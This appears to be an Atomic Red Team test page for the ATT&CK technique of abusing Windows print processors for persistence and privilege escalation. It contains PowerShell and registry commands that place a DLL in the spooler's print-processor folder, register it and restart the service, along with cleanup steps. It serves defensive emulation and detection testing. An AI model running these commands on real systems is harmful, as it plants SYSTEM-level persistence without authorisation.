Try it using Invoke-Atomic

Boot or Logon Autostart Execution: Print Processors

Description from ATT&CK

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, 

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spoolsv.exe
, during boot.(Citation: Microsoft Intro Print Processors)

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\[CurrentControlSet or ControlSet001]\Control\Print\Environments\[Windows architecture: e.g., Windows x64]\Print Processors\[user defined]\Driver Registry key that points to the DLL.

For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)

The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

Atomic Tests

Atomic Test #1 - Print Processors

Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors. The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Note: The test assumes a x64 Windows operating system.

The payload source code is based on a blog post by stmxcsr: https://stmxcsr.com/persistence/print-processor.html

Supported Platforms: windows

auto_generated_guid: f7d38f47-c61b-47cc-a59d-fc0368f47ed0

Inputs:

Name Description Type Default Value
restart set to 1 if you want the computer to reboot as part of the test integer 0

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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if( $(get-service -Name spooler).StartType -eq "Disabled") {Set-Service -Name "spooler" -StartupType Automatic}
net stop spooler
Copy-Item "$PathToAtomicsFolder\T1547.012\bin\AtomicTest.dll" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "AtomicTest.dll" /t REG_SZ /f
net start spooler
if(#{restart}){
  Restart-Computer
}

Cleanup Commands:

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net stop spooler
rm -force C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll -ErrorAction SilentlyContinue
rm -force C:\Users\Public\AtomicTest.txt -ErrorAction SilentlyContinue
remove-item "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" -Force -ErrorAction SilentlyContinue
net start spooler

source